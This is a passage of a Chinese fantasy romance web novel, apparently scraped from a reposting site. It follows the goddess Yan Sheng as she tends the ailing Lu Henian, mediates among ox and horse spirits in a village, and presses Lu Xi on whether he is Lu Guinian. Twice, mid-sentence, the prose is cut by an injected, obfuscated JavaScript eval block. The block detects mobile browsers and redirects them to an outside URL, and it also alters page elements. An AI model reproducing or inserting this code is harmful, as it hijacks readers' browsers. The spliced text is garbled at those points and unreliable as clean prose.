旁边崔瑶听出来了,这崔巍是来找颜笙问罪的,怪她多管冥王殿的事,这不是她该管的事。 颜笙不以为然,只道:“我能掀翻的,可不光是冥王殿。” 崔瑶不敢说话,心道颜笙这话说得不假,她若是愿意,三界任她呼风唤雨,只是她目前不想而已。这威胁的话语说得过于直白。崔瑶不由得扫向崔巍,查看他的反应。 “所以本座特来自此地看热闹。”崔巍这琉璃蛋像是没听懂似的,面带着温柔笑意,看着仍是不爱生气的鹤发尊者。他未继续发难,只说:“颜笙上神出手必有其缘由。” 崔瑶抿着嘴唇,暗道:崔瑶是要颜笙上神向他解释大闹冥王殿的理由。但撞破他两个儿子发生这种事,这叫颜笙怎么开口? 她眼睛望向颜笙,以眼神默声暗示道:“得了吧得了吧,给我爹留点面子吧!” “唔。”颜笙深呼出一口气,“这可不一定。我这趟来是做说客的,顺便帮冥王疏导郁结。”言毕,她将目光投向崔攸宁。 崔瑶悬着的心放下了,看来颜笙这是把包袱甩给崔攸宁,量他也不敢对崔巍如实说他刚做了什么。 崔攸宁觉察到颜笙那冷漠的目光,赶忙附和道:“颜笙上神说得极是。孩儿听颜笙上神的疏导后,当即情志畅达,受益颇深。” “真这么有效?”崔巍佯作相信,假兮兮地一合掌,随喜赞叹:“这可是好事,改日你多和六郎走动走动。看看是否也能提振他的心情。” 崔瑶丈二的和尚摸不着头脑,这跟她爹崔攸霁有什么关系?叫他们俩多走动,他们俩不是一直常走动吗?这话难不成是句废话? 崔巍自然不会说废话。 之所以提到六郎崔攸霁,是因为刚才他的眼线在树林里,瞧见崔攸霁抱着’颜笙’诉衷肠。他没发现那女子是姚蜚声,仅是由面具之下的女子的声音判断,那声音确实是颜笙平时的声音。 他并不知道,姚蜚声和颜笙的声音如今已经重新换回来了,只是颜笙怕人发现,给自己的声音施了法术,如今他们两个用着同样的声音。 崔巍误会了颜笙和崔攸霁的关系。世间但凡通人性的生物,一旦心里有了预判,周围发生一切蛛丝马迹,都会被他们错误地当做是论证,去支持他们的结论。 就比如说这里, 他觉得颜笙对崔瑶的事未免太过上心。之前就听过她为了崔瑶大闹清凉殿,今日大半夜的竟然亲自去冥王殿带人,还把冥王殿整个都拆了。他不信会有人主神对神使这般好,肯定是另有图。 崔巍向来配得感很强,就像他觉得自己的残废断袖儿子配得上颜笙一样,也觉得崔攸霁算是顶配了,便想着给两人机会培养感情。 崔巍此行得到了满意的答案,没在冥王殿多停留多久,很快便离开了。 颜笙也不打算多停驻冥王殿,与崔瑶偕行而去。 进入林间时,她们瞧见姚蜚声站在一棵树下,眼神空洞洞地发呆,而崔攸霁早就不知踪影。 姚蜚声听见脚步声,回头瞧见两人走近,当即收敛刚才的阴霾,让颜笙两人看不出任何异样。 颜笙向崔瑶介绍道:“这位是姚蜚声,也就是你的母亲。”她看向眼泪蓄势待发的崔瑶,笑着调侃道:“不过不用向她介绍你,她一直住在显熠宫里,就是长年花园里睡懒觉的那只蝉精仙及。” 崔瑶捂着嘴依旧笑出声,姚蜚声也是。这会儿低沉情绪散开,只留下她和崔瑶母女两人相见的喜悦。 颜笙打了个哈欠,估计已经快要入更。她不打算打扰这对母女欢聚,便靠近附近的另一棵树,靠在树下阖目小憩。 不远处幽冥城的万家灯火,晕染她的眼皮和睫毛,点亮她的美梦。今夜在她的梦里,万家灯火,皆是团圆。 62. 生命之源(七) 寅时晨光熹微,万物安静无声。 颜笙从睡梦中苏醒,觉得肩膀稍沉,余光瞥见肩头靠着一人。她转过头,见是崔瑶靠在上面。 崔瑶也因颜笙的动作而醒来,迷迷糊糊地喊了一声,“义母,早。” “昨日我没计较,以后人前不准这么唤我。”颜笙把她的头轻轻推开,看了看四周,“你娘呢?还以为你昨天和她回去幽冥了。” 崔瑶想了想,“你说仙及啊,她应该是已经回去幽冥城了。昨天一整天都好累,我实在有些撑不住了,就坐在您身边睡着了。” 颜笙点了点头,又问她:“有娘亲的感觉如何?” 崔瑶犹豫地戳戳下巴,表情有点复杂:“好像和我想的不一样……完全不一样。” 颜笙没多想,只笑道:“每家各有各的不同。” 说到这里,她忽而想起崔瑶的义父陆贺年,他似乎还昏迷着,圆胖橘那个孝顺的小东西向来不靠谱,她不免有点担心。 颜笙又道:“今日准你一日假,回去幽冥陪你娘亲。我等下去趟陀铃火渊。” “我也要去看我义父。”崔瑶拉着颜笙的胳膊,“说起来,我义父发了很多消息,我昨夜回复过了,到现在都没有回应。按理说平时,他都会亲自来接我回去的。” 颜笙叹了一口气,想起昨日混乱的一晚,只道:“说来话长。我路上同你细细说来吧。” …… 两人来到陀铃火渊的时候,陆析和皓然两个已经回去了。出门迎接他们的是圆胖橘,他两只眼睛的底下有点发黑,看上去一夜没睡好。 崔瑶轻轻拍了一下圆胖橘的头顶,“咋回事。” 圆胖橘也不闹,只轻飘飘来了一句,“瑶儿妹妹,别闹,我好累啊。” “我的老哥,别碰瓷!我才刚来。”崔瑶嘴上嫌弃着,却稳当当地扶着他肩膀,生怕他因站不稳而摔倒。 两人看着很熟稔的模样。 颜笙将两人的互动看在眼里,但没出声问两句,只对迷迷糊糊的圆胖橘询问道:“里面的人还好吧。” 圆胖橘点点头,又摇摇头,“他本就是魂灵状态,也死不了。我将那两个人族赶走,他也不会再闻到花椒味了,就是也醒不来。” “这不奇怪。” 颜笙抬起头,看了一眼周围的环境。 这里的气候乍冷乍热,前一刻寒如冰窟,后一刻炎如火山,同时又暗无天光。这和上次她来过的那个陀铃火渊截然不同。 估计上次那个陀铃火渊,是依靠陆贺年的法力改造成舒适宜人的状况。如今陆贺年病倒了,眼下这个陀铃火渊恢复成真正炼狱。 在这样的地盘上养病,他又怎会很快痊愈呢? 颜笙不由得向崔瑶询问道:“你们父女以前就住在这样的幻境里。” 圆胖橘耸拉着眼皮感慨:“这里一直就是三界最艰苦的地方,瑶儿妹妹来之前就这样,所以我才被送去……” 崔瑶忙捂住圆胖橘的嘴,又往他嘴里塞了一条小鱼干。 紧接着,她叹息一声,表示道:“是挺艰苦的。我们一家人原先住在这里,小时候我染了风寒,灌了好多苦苦的汤药却一直不见好,义父才带全家一起搬到幽冥城。” 颜笙沉默良久,忽而对圆胖橘说道:“你带我过去。” 他们三人走到深渊的最里面,陆贺年依旧阖目睡着,眉头紧锁着,似乎梦见极为痛苦的梦境,一如记忆里那位被噩梦困扰的年轻君王。 她突然间内心产生一丝愧疚感。 好像从头到尾,他都没有对她做过什么坏事,反而她像个把原配弃置在寒窑里,自己却另娶新妇的负心汉。 颜笙甩了一下袖子,横抱起床上的陆贺年,在圆胖橘和崔瑶的惊讶目光中,四口人朝着陀铃火渊的出口走。 圆胖橘尽管是千岁大妖,但身躯像个孩童,两腿短得小跑着跟在他们后面,嘴里嚷嚷着:“爹,等等我。我一个人出不去这里。” 幸好崔瑶听见他的声音,在门口处拦了一下颜笙。 圆胖橘终于跟上他们的步子,气喘吁吁地来到门口,又问颜笙:“爹,你是要把我父……陆渊主送去哪里?” “显熠宫。桃源境的气候终究要比这里要好些。”颜笙说道。 圆胖橘却道:“他去桃源境,崔巍会知道的吧?” 颜笙突然想起来,陆贺年经历这番罪受还是因为要提防崔巍知道陆贺年现世,这样大摇大摆地过去,确实不大稳妥。“ 圆胖橘掏出一张面具,盖在陆贺年脸上。那面具是由花否做的,用的是真正张脆枣的脸。他对颜笙说道:“现在你们可以带走了。” 颜笙想了想,“圆胖橘,你跟我们一起走吧。” * 显熠殿里的房间不少,但颜笙担心崔巍的眼线,所以显熠宫侍奉的人手不足,收拾干净的房间更是没几个。 崔瑶想了想,“不如义父先住在西南方向的屋子,那里原先是预备给仙及的,如今仙及回幽冥城住了,应该用不到那个房间。” 颜笙听她这么说,不由得感到奇怪。 崔瑶才和相认姚蜚声,如今提及她的态度显得格外生分,还一口一个仙及。但她心说自己可能是想多了,姚蜚声那等好的娘亲,怎会有人不喜欢? 颜笙并未多问,只谨慎地处理当下:“贺年先住在我那里。西南的屋子是给你娘准备的,她自己都还没住进来,哪能随便当客房用?” 颜笙将陆贺年抱进屋内,施法把房间内所有的窗户关紧,又把他放在榻上,替他盖好被子,念叨道:“比以前轻了不少。看来这些年也不是在装病。” 她在床边守着,顺带替他把了脉。 崔瑶端着药碗走进来,关切询问:“义父现在如何?” “似乎没什么大问题,只是过敏症状导致身体虚弱,又在陀铃火渊那等恶劣的环境下,感染了风寒。不过还好,并没有伤及心脉。”颜笙道。 陆贺年眉头紧锁,发白的嘴唇微动,似乎念叨着什么,下意识攥着颜笙的手,不肯放松一点。 颜笙轻轻抚平他因噩梦而紧蹙的眉毛,又对他施了美梦咒。他脸上的表情有所舒缓,也渐渐放开颜笙的手。 崔瑶将药碗递给颜笙,“还得是义母亲自来,我和圆胖橘只会添乱。” 颜笙一边给陆贺年喂下药,一边打趣道:“还是你们两个小的想偷懒。少拿我做借口。” “对啊,我的确是偷懒。”崔瑶拍了一下额头,大言不惭之后却表示:“不过,圆胖橘昨日可没偷懒。他昨夜应该整夜没合眼,刚才入门时差点被门槛绊倒。我一看,只好先扶他回房歇息了。他现在还在睡着,今天怕是累坏了。” “这小家伙向来机灵、孝顺又善良。别看他平时插科打诨,真到事情上反应比谁都快。”颜笙语气极为认真。 崔瑶叹息一声,脑海中忽而浮现起一位俊朗青年身影。 圆胖橘以前尚为人族时,模样比义父还要 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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崔瑶坐在颜笙旁边,拉过她的手,安慰道:“不管上神以后会否和我义父在一起。我心里一直拿上神当母亲一般对待,是上神带给我飞升的机会。如果没有上神,我这辈子也只是幽冥的一只小妖。” 手心的温热传过来。颜笙看了一眼崔瑶,她的表情极为真诚。 这话颜笙是信的,但颜笙隐隐觉得不对劲,她有母亲却要认别人做母亲,这实在有点谄媚,她总觉得崔瑶不该是这样的人。她便把积在心头的困惑问出口:“昨日你和你的生母见面,可是发生了什么?” “她……”崔瑶犹豫了片刻,忽而说道:“上神,我们在这里说,怕是会影响义父休息。” 看来不是一桩小事。颜笙想了想,“走,我们去趟花园。” …… 到了花园后,崔瑶把昨日姚蜚声跟她说的话统统告诉了颜笙。 姚蜚声心直口快,母女相认后没多久,她就把崔攸霁移情别恋到颜笙的事,也说给了崔瑶听。 可崔瑶和生母姚蜚声毕竟不熟,又在显熠宫做神使千年,自然不相信姚蜚声的说辞,觉得是姚蜚声是挑拨他们的关系,她当时实在不想继续听,话讲到一半,她便假称自己犯困,赖在颜笙身边补眠。 姚蜚声自觉没趣便离开了。 颜笙听完这话,却道:“这肯定是有误会。姚蜚声心性单纯,说话不会拐弯,永远不可能诋毁同性。估摸着崔攸霁昨日真对着蜚声说了什么混账话了。” 最近崔攸霁确实古怪,和子幽走得很近,似乎在酝酿着什么。她和盟友袁思邈聊过,但袁思邈只劝她安心,还说子幽和崔攸霁都是站在她这边的,会扶持她得到她想要的地位,只是他们的计划暂时不能说得太多。显熠宫的眼线可不仅仅是几缕白烟这么简单。 颜笙被崔瑶的说法弄得心绪不宁,况且也不想和姚蜚声有任何误会,便决定亲自去无常界解释清楚。 63. 生命之源(八) 次日清晨,颜笙委托崔瑶照看陆贺年,独自启程前往无常界。 经过昨日崔瑶的一番话,她意识到自己与姚蜚声之间或许存有误会。可无论对方是昔日杀伐决断的幽冥城主,还是曾陪她在金蝉派修行的废柴蝉仙,千余年来,姚蜚声都是她唯一的朋友。 在她心中,陆贺年、陆析抑或陆归年,这三人的分量加在一起,若与蜚声相比,也不过是轻若鸿毛。她绝不打算因为一些无关紧要的琐事与蜚声生出嫌隙。 听闻姚蜚声近期不常在幽冥城内,而是忙着给牛马村送水,颜笙便也寻着踪迹去了牛马城。 降落的地点位于牛马城边缘的一个城中村。此地的荒僻破败与一公里外主城区的繁华截然不同,入眼皆是挨挨挤挤的多层茅草屋,过道逼仄,私搭乱建的违章建筑随处可见。某个茅屋门外,站着一位个头极高的黄衣男子,头戴草编斗笠,手执一根登山杖。 颜笙走近才认出,此人竟是先前她亲手捏出的泥菩萨——皓然。 皓然重获新生后,感念颜笙赐予他血肉之躯,便冠了颜笙的姓氏,自称颜皓然。他心里始终记挂着无常界的子民,只在陆析的鹤冲山休养了三日,便匆匆赶回了无常界。 圆胖橘嘴上虽笑嘻嘻地说着“可算没人和我争夺天道嫡长子的位置了”,心里却十分惦念他,时不时向颜笙两人提起颜皓然。颜笙对此也只是一笑置之:“他若在玄武门等着砍你,你也要去凑热闹吗?” 这话不过是一句玩笑。颜笙与颜皓然并不熟稔,也从未将他视作家人——尽管陆归年或许曾把他当作是另一个陆成。 一厢情愿的投入,无论是男是女,在不爱的一方看来,都只是与己无关的执念。不去嘲笑那份毫无意义的痴情,已是无情者能给予的最大柔情了。 颜笙收回思绪,将目光重新投向前方。 只见颜皓然正面对着一位比他矮了一头的老叟,俯身作揖,态度十分谦卑:“老先生,您可识得坤仪之水发源何处?” 老叟抬起一只手拢在耳边,呈喇叭状:“啊?你大点声,我耳朵不好使。” 颜皓然见状,不由得抬高音量:“您可知坤仪水发于何所?” 老叟仿佛依旧听不清,手掌在耳畔呼扇着:“啊——?” 颜皓然只得继续拔高声音重复。他的声音有些大,引得路过的村民纷纷侧目,窃窃私语声也随之落入颜笙耳中。 “连哞都不会哞两下,口音可真凶!” “幽冥城来的北佬嘛!不是凶,是土。” 他们说着说着,目光又落到了旁边的颜笙身上,嘟囔得更起劲了:“这北姑,一看就不是正经人。正常人谁会身上冒光,看着就是来捞钱的。” “这些北佬北姑,净败坏咱们牛马城的风气。” 颜笙听得心中尴尬。这群村民用着方言,以为她这个外乡人听不懂,可身为神灵,她对这些言辞中的恶意洞若观火。 不过她懒得计较。偏见源于无知,无知又催生傲慢,这不是她能轻易插手干预的。毕竟牛马城没有反歧视的律法,而那些即便有法可依的地方,也无法将人心的成见连根拔除。 这令人窒息的氛围让她微微蹙眉。好在,带有偏见的人终究是少数,随着越来越多年轻人走出那口“井”,这种无知妄行之人总会越来越少。 颜笙敛起情绪,越过颜皓然走到老叟面前,微微弯腰,用一口流利纯正的牛马方言说道:“老人家,他没有恶意。他只是想向您打听一下,您知道坤仪河吗?他想寻一寻这河水的源头。” “小伙子,你是问咱这儿的坤仪河?”老叟见颜皓然点头,便转身指了指远处的太碧山,“源头应该在那座山头里。” 围观的人群见颜笙竟听得懂方言,不知是心虚还是见没了热闹可看,渐渐散去了。 颜皓然向老叟道谢后正欲动身,却被老叟一把拉住。 老叟劝道:“听我爹娘那一辈说,坤仪河原先只是一条小水沟,算不上正经河流。它的源头在混沌界岐山上的岐水,岐山的山根扎在无常界,便是这太碧山。后来混沌界遭了天劫,岐山崩碎,岐水枯竭,坤仪河也就跟着干了。你现在去太碧山,也是白费力气。” 颜皓然顺着老叟指的方向望去,只见远山如黛,连绵不绝,茂密的植被覆盖着陡峭的山坡。 老叟叹了口气:“岐山高得很,山路又险。你这样年纪轻轻的,就该在家多种几亩田,好好孝敬父母,少去深山里涉险。我虽没读过什么书,也懂得一句‘父母在,不远游’1。” 颜皓然回头看了颜笙一眼,答道:“我只有母亲,没有父亲。若母亲出言阻止,我会听从的。” 老叟见他一副冥顽不灵的模样,也懒得再费口舌,摇着头背着手离开了。 待老叟走远,颜笙才开口问:“是谁让你来打探这河流的?你想引岐水重注坤仪?” “是陆析的建议。”颜皓然如实回答。 颜笙思忖片刻,缓声道:“岐路非险。当年岐山崩裂,皆因人族失德,天命不予。你若行得端、坐得正,以德辅之,区区岐路又有何惧?” 颜皓然神色肃穆,拱手道:“谢母……上神赐教。” 颜笙从两仪袋中取出一卷《水经注》递给他,又叮嘱道:“方才那位老人家并非真的听不见你说话,而是听不惯你咬文嚼字。无常界里,尤其是这种封闭的村落,九成村民是不懂官话的。你自以为文绉绉是守礼,在别人眼里却是在卖弄。以后说话,务必要通俗些。文言文在先秦也不过是百姓的口头语,中古文人偏爱它,只为了彰显与平民的区别。但你若有心做他们的领袖,务必谨记‘官为民之父母’,天底下哪有父母非要和自家孩子争个高低雅俗的?” 颜皓然若有所思地点点头,郑重收下古籍:“多谢上神提点。” “你能开窍便好。”颜笙话锋一转,“对了,你可知姚蜚声在何处?” 颜皓然答道:“姚城主今日不在,是她手下出面主事的。听闻她昨日去了趟桃源境,说是去寻您,但很快便折返了。回来后便闭门不出,说是要歇息两日。” 颜笙心中还惦记着昨日崔瑶的话,这两日,她是一刻也不想等了。 近来,崔攸霁与崔巍走得颇近。 此前这对父子势同水火,崔巍也明显更器重崔攸宁。自从崔攸霁刺杀崔巍失败被罚跪冰窟后,诸仙本以为神尊会彻底厌弃这个儿子,却没料到父子关系反而意外缓和了。 一切的转折点,都在崔攸宁诱骗崔攸霁深夜赴会、颜笙夜闯冥王殿之后。自那夜起,天上地下的局势悄然洗牌。崔攸宁彻底失宠,而崔巍这两日对崔攸霁愈发倚重,凡是涉及神尊的重要场合,皆有崔攸霁的身影。 前几日诸仙集会,崔攸霁代崔巍分发简章,路过颜笙身旁时,或许是做贼心虚,四目相对的瞬间,他眼中闪过一抹惶恐。颜笙心中窝火,狠狠回瞪了他一眼。崔攸霁赶忙垂下眼帘,简章一脱手便快步逃离了。 既然姚蜚声的事暂且搁置,颜笙只能先处理手头的第二桩心事。 陆贺年一直在显熠宫养病,直到那晚才幽幽转醒。夜里他下意识想拥抱颜笙,却被她本能地避开。此后,两人虽同榻而眠,中间却似隔着一道楚河汉界,同床异梦。 颜笙觉得,是时候理清他们之间的感情纠葛了。 在她眼里,陆析和陆贺年并无本质区别——两人对她的人生而言,皆是毫无用处的过客。那点微末的心动,根本不足以支撑她与之白头偕老。有时她甚至自嘲,自己终究还是被所谓的“善”与“神性”束缚住了手脚。她觉得自己骨子里就像姚蜚声一样,只要有一丝喜欢,就想将其收入囊中,至于往后的种种,大可日后再议。 凡人身处世间,终究要受制于他人的目光与既定规则。若不能登顶至高之位,便只能在规则的夹缝中求生,一旦打破,便会被剔除出局。而颜笙,恰恰还不是桃源境至高的存在。 为了登顶,她能选择的盟友只有陆归年,哪怕她对他的感情并不深厚。此刻,她无比期盼那个令她生出几分好感的陆析,就是她注定要选择的陆归年。 于是,颜笙动身前往无常界的阴阳殿。那里存放着三界生灵的生死簿,记载着所有生命的命定寿数。 她以“查阅门派弟子修炼情况”为由,向值守仙官调阅抱朴派的记录。这并非越权,诸神定期查阅信徒生死簿乃是常态。毕竟绝大多数仙门弟子修的都是“尸解仙”,能白日飞升者凤毛麟角。通过确认死期,仙门能及时派遣使者接引,确保弟子尸解后顺利位列仙班。 然而,颜笙将抱朴派的生死簿翻了无数遍,竟找不到“陆析”二字。她忍不住向殿内当值的马大海询问道:“我记得抱朴派有一位名叫陆析的修士,乃是十世善人,怎会在这生死簿上查无此人?” “真有这么大功德的人?”马大海接过生死簿,来来回回翻查了半天,也没见着什么十世善人,当即断言,“您那位弟子,八成是在吹牛皮!” “再怎么吹牛,也不至于连名字都没有吧?”颜笙眉头紧锁。 马大海故作惋惜地叹了口气:“那估计是这小子罪孽太深,下辈子直接魂飞魄散,连投胎的资格都没了。上神节哀顺变。” 颜笙沉思片刻,眉头先是蹙起,随后竟轻轻笑出了声。 她似乎找到了她想要的“证据”——若这世间根本不存在陆析此人,那他便只能是陆归年。 马大海见她又皱眉又发笑,还以为这神仙是受了什么刺激疯癫了。不过他一向不爱多管闲事,只拿起抹布专心擦拭起蹄铁,随口道:“等下午休,我要去牛马村赶集会。按规矩殿里得落锁,颜笙上神,还请您下午再来吧。” 蹄铁被擦得锃亮,午后的阳光折射出刺眼的光芒。颜笙眯了眯眼,忽而想起那句荒诞的口号,顺口问道:“铮铮牛马,再创辉煌?” 马大海咧开满是獠牙的大嘴,笑得直打嗝:“这口号也太神叨了!都是些没读过书的低阶牛马才去那种集会,我们高阶牛马的集会可比这高级多了。”语气中满是掩不住的优越感。 颜笙干笑了两声,也不知是在笑谁。 马大海顺口邀请颜笙同去,颜笙婉拒了。不过两人顺路,恰好途经马大隆发表演讲的广场。颜笙瞥了一眼,发现今日听讲的人数竟比往常少了三成,连门口摆摊的砂糖水都滞销了。 马大海见状,咬着椰子里的吸管,凑近颜笙小声嘀咕:“您看,以前每次路过都挤得水泄不通。这城里反智的牛马多得让人不寒而栗,今天这是突然觉醒了?” 他瞥了眼人群,继续嘲讽:“您瞅瞅那帮牛马的大肚腩。马大隆非跟他们洗脑,说‘玉米糖是资本家的阴谋’,‘水果现榨不能喝,果糖致癌’,只有‘纯天然砂糖才无公害’。结果呢?一个个牛马每天两升砂糖水猛灌,肚子喝得跟皮球似的,活活喝出个三高来。” 颜笙淡然一笑:“不管是砂糖、果糖、玉米糖还是代糖,本质都是糖,吃多了能好到哪去?凡间的皇帝吃甘蔗还能吃出消渴症呢。” 马大海连连点头附和:“可不是嘛!其实就是因为牛马村最近强征了隔壁甘蔗精村的地,加上制糖工艺不成熟,导致蔗糖成本比玉米糖高。我们这位‘人民资本家’马大隆便赶紧造势,把便宜的玉米糖打成资本家的阴谋,把贵的蔗糖吹成健康神药,无非是想割韭菜罢了。” 颜笙冷哼一声:“说到底……什么花里胡哨的糖水,都不如干干净净的白开水。” 马大海一摊手:“理是这个理。可惜这地界的水早就被污染了,也不知道马大隆吹的‘治污工程’到底治到哪儿去了。” 正说着,扛着锄头路过的牛二柱听见了,冲着马大海狠狠啐了一口:“呸!你们这帮自诩‘觉醒派’的,天天喊着关心环境,这会儿泥菩萨皓然连上古河道都找着了,正要引水进坤仪呢,怎么没见你们去帮把手挖土?” 马大海双手叉腰,毫不示弱地对骂:“莽夫!挖河道不得破坏环境?万一伤及花草精怪的性命算谁的?凡事都得慢慢研究个两全其美的法子!” “研究?研究个八年,花掉八百万灵石,最后只挖出个指甲盖大的坑?”牛二柱一锄头杵在马大海脚边,吓得他浑身一哆嗦。“你们这帮只知道在卷宗上咬文嚼字的酸吏,正经事是一点不干!拯救牛马,还得靠我们这些土老帽!” 马大海被下了面子,撸起袖子就想动手,但低头一看自己赤手空拳,又衡量了一下双方武力值,转头就找颜笙借兵器。 颜笙不想生事,更懒得看这场闹剧,冷声道:“同是天涯沦落的牛马,有什么好打的。”说罢,干脆利落地两巴掌拍过去,直接将一牛一马按趴在地。 她居高临下地看着两人,语重心长地说:“真正不干人事的既得利益者,最乐见的就是底层互害,好转移矛盾焦点。你们俩与其在这儿斗殴,不如团结起来。正好凑齐了两个,再叫上一个就能去斗地主了。” 周围的牛马见颜笙气场迫人,面面相觑,竟无一人敢上前吱声。 …… 太碧山上,一排牛马精正挥汗如雨。他们手持铁锹与十字镐,沿着崎岖的山路奋力开凿。 颜皓然站在最前头,有条不紊地指挥着自发来帮忙的村民。头顶烈日当空,汗水砸在皴裂的黄土上。忽有一阵清风拂过,他抬起头。 颜笙驾云而降,左手拎着一头牛,右手拎着一匹马,随手一丢:“这俩人刚才嚷嚷着要来给你帮忙,我便顺路带来了。你看能派上用场吗?” 颜皓然诚恳地点头,对地上两人说道:“只要愿为牛马城出一份力,不论贡献大小,我们都随时欢迎。” 牛二柱和马大海抬起头,对上颜皓然那双真诚的眼眸,不知怎的,竟异口同声地应了下来:“……好吧。” 颜笙拍了拍手上的浮尘。 颜皓然从工具篓里挑了两副开垦用具和两顶防晒斗笠递给他们,细心叮嘱:“ ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17222379|193324||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 烈日下劳作极易晒伤中暑,若是身子吃不消,务必及时去阴凉处歇息。” “你管得可真够细致的。”颜笙无意间瞥见颜皓然膝盖处破了一块,正渗着血,可他却似乎毫无痛觉。她恍然想起,如今的颜皓然已不再是泥塑,而是用她的血肉催生出的生灵。 看着自己的血白白流淌,颜笙难免觉得可惜,便随手施了个法决替他止血愈合,嘴上却不饶人:“还有心思操心别人?你自己的身体受了伤,也该歇歇才是。” 颜皓然温和地道了谢,顺势岔开了话题:“最近陆析可有与您联系?听闻抱朴派近日又委派他下山执行任务了。” 颜笙闻言,心中闪过一丝意外。 夜色沉沉。 圆胖橘蜷缩在柔软的枕头上,发出均匀的鼾声。案头的神像忽然金光一闪,颜笙的身影悄然浮现。 为免惊扰圆胖橘,她放轻脚步走下二楼。 陆析正借着微弱的烛火,收拾着自己与圆胖橘的行囊。当他翻出颜笙先前赠予的上品延寿丹时,动作微微一顿,将其塞进了圆胖橘的包裹里。 “把保命的东西都留给它,你自己该如何是好?”颜笙清冷的声音在室内响起。 陆析放下手中的物什,站起身,恭恭敬敬地向颜笙拱手行礼:“参见颜笙上神。” 语气疏离得仿佛能结出冰渣。 眼前的他,身上竟寻不到半点陆归年的影子。这种令人窒息的陌生感,仿佛两人初次相逢。 颜笙心里堵得难受,冷着脸道:“我今夜来此,是有一笔陈年旧账要与你算个清楚,也好给所有人一个交代。” 陆析无声地叹息。 他一直深知自己脑海中盘踞着陆归年的记忆,可他从未认同过自己就是陆归年。在他潜意识里,那是陆归年的残魂妄图夺舍。然而,或许是受了那些记忆中浓烈情感的影响,他竟也不由自主地被颜笙吸引。 在玻璃球里的那段时日,他的主意识陷入沉睡,陆归年彻底接管了躯壳。作为旁观者,他看着陆归年如何操控自己,更看着颜笙在面对陆归年时,那些下意识的反应中,根本寻不到半分恨意。 过去的颜笙骗了他。她心里是有陆归年的,只是因为某些令她懊悔的过往,才倔强地不肯承认曾经的情意。 颜笙心系陆归年,而他陆析,却不可救药地恋上了颜笙。那一刻,他甚至嫉妒起那个幽魂,疯狂地渴望自己就是陆归年,渴望理所当然地被她爱着。这种欲念逐渐吞噬了他的理智,让他模糊了身份的边界,一度真以为自己就是那个被偏爱的天道。 直到崔瑶被劫走的那日,圆胖橘哭着喊他叔父,跪求他去救人。他满腔热血地想要应允,却绝望地发现,自己体内根本没有陆归年那毁天灭地的法力。 属于天道的那份记忆,终究只是他黄粱一梦的泡影。 他不是陆归年。借着别人的影子去靠近心爱之人,甚至妄图将其独占——这种行径,实在太过卑劣。 他是抱朴派的弟子,毕生所求皆在“抱朴”二字。抱朴的本质,便是摒弃私欲,致其良知。可他,却离这四个字越来越远了。 陆析闭上眼,下定决心不再错下去。他嗓音低哑:“这笔糊涂账,上神打算如何算?是要再杀我一次吗?可我,真的不是陆归年。” 颜笙刻意忽略了他后半句的否认,只盯着他道:“当年杀你的并非是我。袁思邈告诉我,此事另有隐情。” 听到这话,陆析的神色依旧古井无波,继续维持着局外人的清醒:“在我所窥见的记忆里,陆归年当时并未身死,只是受了重伤。后来,是崔攸险突然闯入。陆归年毫无防备,被那头彻底失去理智、半人半兽的怪物从背后偷袭,捅成了筛子。崔攸险随后也被陆归年体内爆发的天道之力反噬,碎作齑粉。所以,当您苏醒时,地上只留下陆归年的尸体。” 说罢,陆析摊开掌心,一片残缺的指甲静静躺在其中:“这是崔攸险留下的残骸。他当时已完全兽化,在灰飞烟灭前死死抓着地面,这片指甲便嵌在了石缝中。” 颜笙定定地看着那片残甲,久久无言。半晌,她才哑着嗓子问:“这么说来……若当时我没有出手打伤你,你或许就不会分神,也不会惨遭偷袭致死了?” 陆析垂下眼眸:“凡被崔攸险伤及的躯体,皆会逐渐兽化。轻则变成圆胖橘那般模样。可这世间,并非人人都有圆胖橘那般纯粹的心智,能在兽化后依旧保留孩童的本真。失去理智的野兽,定会伤害身边最亲近之人。我想,当年的陆归年,宁愿神魂俱灭,也绝不敢拿您去赌那一成可能。” “可陆归年没死。”颜笙步步紧逼,“我方才去冥王殿查过生死簿。这三界之中,从未有过叫‘陆析’之人的投胎记录;而陆归年的户籍,也至今未曾销户,依旧挂在仙籍之上。所以,那个与我拜堂成亲的陆归年根本没死,他只是抹去过往,化作了抱朴派的陆析。对吗?” 陆析猛地抬起头,眼神固执而隐忍:“我是抱朴派的弟子,不能对神灵扯谎。我再说一次,我不是陆归年。” 他深吸了一口气,继续道:“在遇见您之前,我一直清楚自己是陆析。陆归年的记忆,是后来才凭空涌入我脑海的。” 颜笙根本不信这套说辞。她上前一步,指尖重重戳在陆析的胸膛上,冷笑道:“无所谓。你只需告诉我,你心里到底是如何看待我的?” 陆析身形微僵,偏过头去:“抱歉。我不是陆归年,或许……我的答案,并非您想听的。” “那我想听听陆析的答案!”颜笙步步紧逼。她从两仪袋中掷出一尊自己的神像,手腕一翻,点燃了一炷香,插在神像前。“何不彻底敞开心扉?我想听听,你对这神像许的,究竟是什么愿?” 陆析屏息凝神,死死压抑着心底的波澜,不泄露半分心声。 他看着颜笙眼中渐渐浮现的落寞与失望,即便清心咒念了一遍又一遍,却终究压不住那颗疯狂跳动的心。他猛地一挥衣袖,法力激荡,将那炷香生生截断,彻底放弃了挣扎。 “我是抱朴派弟子陆析。”他凝视着颜笙,眼眶微红,“身为信徒,仰慕自己信奉的神明,本是天经地义。可我深知自己不是他,每个人都该为自己的僭越付出代价。” 颜笙重重叹了口气,眼底的光彻底黯了下去。她自嘲地扯了扯嘴角:“那便好。既然你不是他,你我之间的缘分,便到此为止吧。我会对该负责的事情负责。”说罢,她决绝地转过身,向门外走去。 就在她迈出门槛的刹那,那炷被拦腰截断的香火,竟在神像前幽幽地复燃了。 